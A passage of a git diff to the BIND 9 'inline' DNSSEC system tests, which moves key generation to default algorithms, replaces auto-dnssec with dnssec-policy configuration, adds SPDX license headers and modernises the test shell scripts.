+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone -f KSK $zone)
 
 zone=removedkeys-secondary
 rm -f K${zone}.+*+*.key
 rm -f K${zone}.+*+*.private
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone $zone`
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone -f KSK $zone`
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone -f KSK $zone)
 
 for s in a c d h k l m q z
 do
 	zone=test-$s
-	keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone $zone`
+	keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
 done
 
 for s in b f i o p t v
 do
 	zone=test-$s
-	keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone $zone`
-	keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone -f KSK $zone`
+	keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+	keyname=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone -f KSK $zone)
 done
 
 zone=externalkey
+zonefile=${zone}.db
 rm -f K${zone}.+*+*.key
 rm -f K${zone}.+*+*.private
 
-for alg in ECDSAP256SHA256 NSEC3RSASHA1
+for alg in ${DEFAULT_ALGORITHM} ${ALTERNATIVE_ALGORITHM}
 do
-    k1=`$KEYGEN -q -a $alg -b 1024 -n zone -f KSK $zone`
-    k2=`$KEYGEN -q -a $alg -b 1024 -n zone $zone`
-    k3=`$KEYGEN -q -a $alg -b 1024 -n zone $zone`
-    k4=`$KEYGEN -q -a $alg -b 1024 -n zone -f KSK $zone`
+    k1=$($KEYGEN -q -a $alg -n zone -f KSK $zone)
+    k2=$($KEYGEN -q -a $alg -n zone $zone)
+    k3=$($KEYGEN -q -a $alg -n zone $zone)
+    k4=$($KEYGEN -q -a $alg -n zone -f KSK $zone)
     $DSFROMKEY -T 1200 $k4 >> ../ns1/root.db
 
-    # Convert k1 and k2 in to External Keys.
-    rm -f $k1.private 
-    mv $k1.key a-file
-    $IMPORTKEY -P now -D now+3600 -f a-file $zone > /dev/null 2>&1 ||
-        ( echo_i "importkey failed: $alg" )
-    rm -f $k2.private 
-    mv $k2.key a-file
-    $IMPORTKEY -f a-file $zone > /dev/null 2>&1 ||
-        ( echo_i "importkey failed: $alg" )
+    cat $k1.key $k2.key >> $zonefile
+
+    rm -f $k1.key
+    rm -f $k1.private
+    rm -f $k2.key
+    rm -f $k2.private
 done
diff --git a/bin/tests/system/inline/ns4/named.conf.in b/bin/tests/system/inline/ns4/named.conf.in
index ef13b57ea1..c0745f40ff 100644
--- a/bin/tests/system/inline/ns4/named.conf.in
+++ b/bin/tests/system/inline/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -22,6 +24,7 @@ options {
 	recursion no;
 	notify yes;
 	notify-delay 0;
+	dnssec-validation no;
 };
 
 zone "noixfr" {
diff --git a/bin/tests/system/inline/ns4/noixfr.db.in b/bin/tests/system/inline/ns4/noixfr.db.in
index c4750ca16e..c40f011ebb 100644
--- a/bin/tests/system/inline/ns4/noixfr.db.in
+++ b/bin/tests/system/inline/ns4/noixfr.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/inline/ns5/named.conf.post b/bin/tests/system/inline/ns5/named.conf.post
index f02dc5c34a..a85d7606e7 100644
--- a/bin/tests/system/inline/ns5/named.conf.post
+++ b/bin/tests/system/inline/ns5/named.conf.post
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -31,10 +33,17 @@ options {
 	servfail-ttl 0;
 };
 
+dnssec-policy "inline" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
 zone "bits" {
 	type secondary;
 	primaries { 10.53.0.2; };
 	file "bits.bk";
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	inline-signing yes;
 };
diff --git a/bin/tests/system/inline/ns5/named.conf.pre b/bin/tests/system/inline/ns5/named.conf.pre
index be812e4e51..91844acb22 100644
--- a/bin/tests/system/inline/ns5/named.conf.pre
+++ b/bin/tests/system/inline/ns5/named.conf.pre
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/inline/ns6/named.conf.in b/bin/tests/system/inline/ns6/named.conf.in
index dc8b5ecd98..8237f310a9 100644
--- a/bin/tests/system/inline/ns6/named.conf.in
+++ b/bin/tests/system/inline/ns6/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -28,6 +30,7 @@ options {
 	recursion yes;
 	notify yes;
 	notify-delay 0;
+	dnssec-validation yes;
 };
 
 zone "." {
diff --git a/bin/tests/system/inline/ns7/named.conf.in b/bin/tests/system/inline/ns7/named.conf.in
index 084796681f..cd7e52ce13 100644
--- a/bin/tests/system/inline/ns7/named.conf.in
+++ b/bin/tests/system/inline/ns7/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -46,3 +48,13 @@ options {
 	sig-signing-nodes 100;
 	sig-signing-signatures 10;
 };
+
+dnssec-policy "nsec3" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm RSASHA256 2048;
+		zsk key-directory lifetime unlimited algorithm RSASHA256 2048;
+		zsk key-directory lifetime unlimited algorithm RSASHA256 4096;
+	};
+
+	nsec3param iterations 0 optout no salt-length 0;
+};
diff --git a/bin/tests/system/inline/ns7/sign.sh b/bin/tests/system/inline/ns7/sign.sh
index 8379151e8e..8479388fdf 100755
--- a/bin/tests/system/inline/ns7/sign.sh
+++ b/bin/tests/system/inline/ns7/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -17,6 +19,6 @@
 zone=nsec3-loop
 rm -f K${zone}.+*+*.key
 rm -f K${zone}.+*+*.private
-keyname=`$KEYGEN -q -a NSEC3RSASHA1 -b 1024 -n zone $zone`
-keyname=`$KEYGEN -q -a NSEC3RSASHA1 -b 1024 -n zone $zone`
-keyname=`$KEYGEN -q -a NSEC3RSASHA1 -b 1024 -n zone -f KSK $zone`
+keyname=$($KEYGEN -q -a RSASHA256 -b 4096 -n zone $zone)
+keyname=$($KEYGEN -q -a RSASHA256 -b 2048 -n zone $zone)
+keyname=$($KEYGEN -q -a RSASHA256 -b 2048 -n zone -f KSK $zone)
diff --git a/bin/tests/system/inline/ns8/example.com.db.in b/bin/tests/system/inline/ns8/example.com.db.in
index eb39aa7bc9..dfc7630955 100644
--- a/bin/tests/system/inline/ns8/example.com.db.in
+++ b/bin/tests/system/inline/ns8/example.com.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/inline/ns8/example.db.in b/bin/tests/system/inline/ns8/example.db.in
new file mode 100644
index 0000000000..3ebf398f41
--- /dev/null
+++ b/bin/tests/system/inline/ns8/example.db.in
@@ -0,0 +1,26 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@		IN	SOA  mname1. . (
+			1       ; serial
+			20      ; refresh (20 seconds)
+			20      ; retry (20 seconds)
+			1814400 ; expire (3 weeks)
+			3600    ; minimum (1 hour)
+			)
+
+			NS	ns8
+ns8			A	10.53.0.8
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+c			A	10.0.0.3
diff --git a/bin/tests/system/inline/ns8/example2.db.in b/bin/tests/system/inline/ns8/example2.db.in
new file mode 100644
index 0000000000..1f42c3ac3e
--- /dev/null
+++ b/bin/tests/system/inline/ns8/example2.db.in
@@ -0,0 +1,26 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@		IN	SOA  mname1. . (
+			2       ; serial
+			20      ; refresh (20 seconds)
+			20      ; retry (20 seconds)
+			1814400 ; expire (3 weeks)
+			3600    ; minimum (1 hour)
+			)
+
+			NS	ns8
+ns8			A	10.53.0.8
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+c			A	10.0.0.3
diff --git a/bin/tests/system/inline/ns8/example3.db.in b/bin/tests/system/inline/ns8/example3.db.in
new file mode 100644
index 0000000000..a9e3daa7a0
--- /dev/null
+++ b/bin/tests/system/inline/ns8/example3.db.in
@@ -0,0 +1,26 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 400
+@		IN	SOA  mname1. . (
+			3       ; serial
+			20      ; refresh (20 seconds)
+			20      ; retry (20 seconds)
+			1814400 ; expire (3 weeks)
+			3600    ; minimum (1 hour)
+			)
+
+			NS	ns8
+ns8			A	10.53.0.8
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+c			A	10.0.0.3
diff --git a/bin/tests/system/inline/ns8/named.conf.in b/bin/tests/system/inline/ns8/named.conf.in
index 8663ee867b..81e3142a20 100644
--- a/bin/tests/system/inline/ns8/named.conf.in
+++ b/bin/tests/system/inline/ns8/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -31,116 +33,138 @@ options {
 	try-tcp-refresh no;
 	notify-delay 0;
 	allow-new-zones yes;
+	dnssec-validation no;
+};
+
+dnssec-policy "inline" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
 };
 
 zone "example01.com" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	file "example01.com.db";
 };
 
 zone "example02.com" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	file "example02.com.db";
 };
 
 zone "example03.com" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	file "example03.com.db";
 };
 
 zone "example04.com" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	file "example04.com.db";
 };
 
 zone "example05.com" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	file "example05.com.db";
 };
 
 zone "example06.com" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	file "example06.com.db";
 };
 
 zone "example07.com" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	file "example07.com.db";
 };
 
 zone "example08.com" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	file "example08.com.db";
 };
 
 zone "example09.com" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	file "example09.com.db";
 };
 
 zone "example10.com" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	file "example10.com.db";
 };
 
 zone "example11.com" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	file "example11.com.db";
 };
 
 zone "example12.com" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	file "example12.com.db";
 };
 
 zone "example13.com" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	file "example13.com.db";
 };
 
 zone "example14.com" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	file "example14.com.db";
 };
 
 zone "example15.com" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	file "example15.com.db";
 };
 
 zone "example16.com" {
 	type primary;
 	inline-signing yes;
-	auto-dnssec maintain;
+	dnssec-policy inline;
 	file "example16.com.db";
 };
+
+zone example {
+	type primary;
+	inline-signing yes;
+	dnssec-policy inline;
+	file "example.db";
+};
+
+zone "unsigned-serial-test" {
+	type primary;
+	inline-signing yes;
+	dnssec-policy inline;
+	file "unsigned-serial-test.db";
+};
diff --git a/bin/tests/system/inline/ns8/sign.sh b/bin/tests/system/inline/ns8/sign.sh
index 57daf402a2..d9b95e4ab2 100755
--- a/bin/tests/system/inline/ns8/sign.sh
+++ b/bin/tests/system/inline/ns8/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -18,8 +20,16 @@ for zone in example01.com example02.com example03.com example04.com \
 do
   rm -f K${zone}.+*+*.key
   rm -f K${zone}.+*+*.private
-  keyname=`$KEYGEN -q -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -n zone $zone`
-  keyname=`$KEYGEN -q -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -n zone -f KSK $zone`
+  keyname=$($KEYGEN -q -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -n zone $zone)
+  keyname=$($KEYGEN -q -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -n zone -f KSK $zone)
   cp example.com.db.in ${zone}.db
-  $SIGNER -S -T 3600 -O raw -o ${zone} ${zone}.db > /dev/null 2>&1
+  $SIGNER -S -T 3600 -O raw -L 2000042407 -o ${zone} ${zone}.db > /dev/null 2>&1
+done
+
+for zone in example unsigned-serial-test; do
+  rm -f K${zone}.+*+*.key
+  rm -f K${zone}.+*+*.private
+  keyname=$($KEYGEN -q -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -n zone $zone)
+  keyname=$($KEYGEN -q -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -n zone -f KSK $zone)
+  cp example.db.in ${zone}.db
 done
diff --git a/bin/tests/system/inline/setup.sh b/bin/tests/system/inline/setup.sh
index 61bcd4ab02..edfa98a1f6 100644
--- a/bin/tests/system/inline/setup.sh
+++ b/bin/tests/system/inline/setup.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -14,22 +18,19 @@ cp ns1/root.db.in ns1/root.db
 touch ns2/trusted.conf
 cp ns2/nsec3-loop.db.in ns2/nsec3-loop.db
 cp ns2/bits.db.in ns2/bits.db
-cp ns2/bits.db.in ns2/inactiveksk.db
-cp ns2/bits.db.in ns2/inactivezsk.db
 cp ns2/bits.db.in ns2/nokeys.db
 cp ns2/bits.db.in ns2/removedkeys-secondary.db
 cp ns2/bits.db.in ns2/retransfer.db
-cp ns2/bits.db.in ns2/retransfer3.db
-
-cp ns3/master.db.in ns3/master.db
-cp ns3/master.db.in ns3/dynamic.db
-cp ns3/master.db.in ns3/updated.db
-cp ns3/master.db.in ns3/unsupported.db
-cp ns3/master.db.in ns3/expired.db
-cp ns3/master.db.in ns3/nsec3.db
-cp ns3/master.db.in ns3/externalkey.db
-cp ns3/master.db.in ns3/delayedkeys.db
-cp ns3/master.db.in ns3/removedkeys-primary.db
+
+cp ns3/primary.db.in ns3/primary.db
+cp ns3/primary.db.in ns3/dynamic.db
+cp ns3/primary.db.in ns3/updated.db
+cp ns3/primary.db.in ns3/unsupported.db
+cp ns3/primary.db.in ns3/expired.db
+cp ns3/primary.db.in ns3/nsec3.db
+cp ns3/primary.db.in ns3/externalkey.db
+cp ns3/primary.db.in ns3/delayedkeys.db
+cp ns3/primary.db.in ns3/removedkeys-primary.db
 cp ns3/include.db.in ns3/include.db
 
 mkdir ns3/removedkeys
@@ -40,6 +41,7 @@ cp ns4/noixfr.db.in ns4/noixfr.db
 copy_setports ns1/named.conf.in ns1/named.conf
 copy_setports ns2/named.conf.in ns2/named.conf
 copy_setports ns3/named.conf.in ns3/named.conf
+cp ns3/delayedkeys.conf.1 ns3/delayedkeys.conf
 copy_setports ns4/named.conf.in ns4/named.conf
 copy_setports ns5/named.conf.pre ns5/named.conf
 copy_setports ns6/named.conf.in ns6/named.conf
diff --git a/bin/tests/system/inline/tests.sh b/bin/tests/system/inline/tests.sh
index e3794d3336..9acb0d7dbb 100755
--- a/bin/tests/system/inline/tests.sh
+++ b/bin/tests/system/inline/tests.sh
@@ -1,19 +1,31 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="+tcp +dnssec -p ${PORT}"
 RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
 
+dig_with_opts() {
+	$DIG $DIGOPTS "$@"
+}
+
+rndccmd() {
+	$RNDCCMD "$@"
+}
+
 wait_for_serial() (
     $DIG $DIGOPTS "@$1" "$2" SOA > "$4"
     serial=$(awk '$4 == "SOA" { print $7 }' "$4")
@@ -22,97 +34,97 @@ wait_for_serial() (
 
 status=0
 n=0
+ret=0
 
-$RNDCCMD 10.53.0.3 signing -nsec3param 1 0 0 - nsec3 > /dev/null 2>&1
-
+# Make sure nsec3 zone is NSEC3 signed.
 for i in 1 2 3 4 5 6 7 8 9 0
 do
-	nsec3param=`$DIG $DIGOPTS +nodnssec +short @10.53.0.3 nsec3param nsec3.`
+	nsec3param=$($DIG $DIGOPTS +nodnssec +short @10.53.0.3 nsec3param nsec3.) || ret=1
 	test "$nsec3param" = "1 0 0 -" && break
 	sleep 1
 done
 
-n=`expr $n + 1`
+if [ $ret != 0 ]; then echo_i "pre-condition failed, test aborted"; exit 1; fi
+
+n=$((n + 1))
 echo_i "checking that an unsupported algorithm is not used for signing ($n)"
 ret=0
 grep -q "algorithm is unsupported" ns3/named.run || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that rrsigs are replaced with ksk only ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.3 axfr nsec3. |
 	awk '/RRSIG NSEC3/ {a[$1]++} END { for (i in a) {if (a[i] != 1) exit (1)}}' || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that the zone is signed on initial transfer ($n)"
 ret=0
-for i in 1 2 3 4 5 6 7 8 9 10 1 2 3 4 5 6 7 8 9 10
-do
-	ret=0
-	$RNDCCMD 10.53.0.3 signing -list bits > signing.out.test$n 2>&1
-	keys=`grep '^Done signing' signing.out.test$n | wc -l`
-	[ $keys = 2 ] || ret=1
-	if [ $ret = 0 ]; then break; fi
-	sleep 1
-done
+zone_is_signed() {
+	$DIG $DIGOPTS @10.53.0.3 bits. AXFR > dig.out.ns3.test$n || return 1
+        $VERIFY -z -o bits. dig.out.ns3.test$n > verify.out.bits.test$n || return 1
+	return 0
+}
+retry_quiet 10 zone_is_signed || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking expired signatures are updated on load ($n)"
 ret=0
-$DIG $DIGOPTS @10.53.0.3 +noall +answer +dnssec expired SOA > dig.out.ns3.test$n
-expiry=`awk '$4 == "RRSIG" { print $9 }' dig.out.ns3.test$n`
+$DIG $DIGOPTS @10.53.0.3 +noall +answer +dnssec expired SOA > dig.out.ns3.test$n || ret=1
+expiry=$(awk '$4 == "RRSIG" { print $9 }' dig.out.ns3.test$n)
 [ "$expiry" = "20110101000000" ] && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking removal of private type record via 'rndc signing -clear' ($n)"
 ret=0
-$RNDCCMD 10.53.0.3 signing -list bits > signing.out.test$n 2>&1
-keys=`sed -n -e 's/Done signing with key \(.*\)$/\1/p' signing.out.test$n`
+$RNDCCMD 10.53.0.3 signing -list bits > signing.out.test$n 2>&1 || ret=1
+keys=$(sed -n -e 's/Done signing with key \(.*\)$/\1/p' signing.out.test$n)
 for key in $keys; do
 	$RNDCCMD 10.53.0.3 signing -clear ${key} bits > /dev/null || ret=1
-	break;	# We only want to remove 1 record for now.
+	break;  # We only want to remove 1 record for now.
 done 2>&1 |sed 's/^/ns3 /' | cat_i
 
 for i in 1 2 3 4 5 6 7 8 9 10
 do
 	ans=0
-	$RNDCCMD 10.53.0.3 signing -list bits > signing.out.test$n 2>&1
-        num=`grep "Done signing with" signing.out.test$n | wc -l`
+	$RNDCCMD 10.53.0.3 signing -list bits > signing.out.test$n 2>&1 || ret=1
+        num=$(grep "Done signing with" signing.out.test$n | wc -l)
 	[ $num = 1 ] && break
 	sleep 1
 done
 [ $ans = 0 ] || ret=1
 
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking private type was properly signed ($n)"
 ret=0
-$DIG $DIGOPTS @10.53.0.6 bits TYPE65534 > dig.out.ns6.test$n
+$DIG $DIGOPTS @10.53.0.6 bits TYPE65534 > dig.out.ns6.test$n || ret=1
+# One private type record, one signature
 grep "ANSWER: 2," dig.out.ns6.test$n > /dev/null || ret=1
 grep "flags:.* ad[ ;]" dig.out.ns6.test$n > /dev/null || ret=1
 
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking removal of remaining private type record via 'rndc signing -clear all' ($n)"
 ret=0
-$RNDCCMD 10.53.0.3 signing -clear all bits > /dev/null || ret=1
+$RNDCCMD 10.53.0.3 signing -clear all bits > signing.out.test$n.clear || ret=1
 
 for i in 1 2 3 4 5 6 7 8 9 10
 do
 	ans=0
-	$RNDCCMD 10.53.0.3 signing -list bits > signing.out.test$n 2>&1
+	$RNDCCMD 10.53.0.3 signing -list bits > signing.out.test$n 2>&1 || ret=1
 	grep "No signing records found" signing.out.test$n > /dev/null || ans=1
 	[ $ans = 1 ] || break
 	sleep 1
@@ -120,74 +132,76 @@ done
 [ $ans = 0 ] || ret=1
 
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking negative private type response was properly signed ($n)"
 ret=0
 sleep 1
-$DIG $DIGOPTS @10.53.0.6 bits TYPE65534 > dig.out.ns6.test$n
+$DIG $DIGOPTS @10.53.0.6 bits TYPE65534 > dig.out.ns6.test$n || ret=1
 grep "status: NOERROR" dig.out.ns6.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns6.test$n > /dev/null || ret=1
 grep "flags:.* ad[ ;]" dig.out.ns6.test$n > /dev/null || ret=1
 
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking that the record is added on the hidden primary ($n)"
+ret=0
 
-$NSUPDATE << EOF
+$NSUPDATE << EOF || ret=1
 zone bits
 server 10.53.0.2 ${PORT}
 update add added.bits 0 A 1.2.3.4
 send
 EOF
 
-n=`expr $n + 1`
-echo_i "checking that the record is added on the hidden primary ($n)"
-ret=0
-$DIG $DIGOPTS @10.53.0.2 added.bits A > dig.out.ns2.test$n
+$DIG $DIGOPTS @10.53.0.2 added.bits A > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
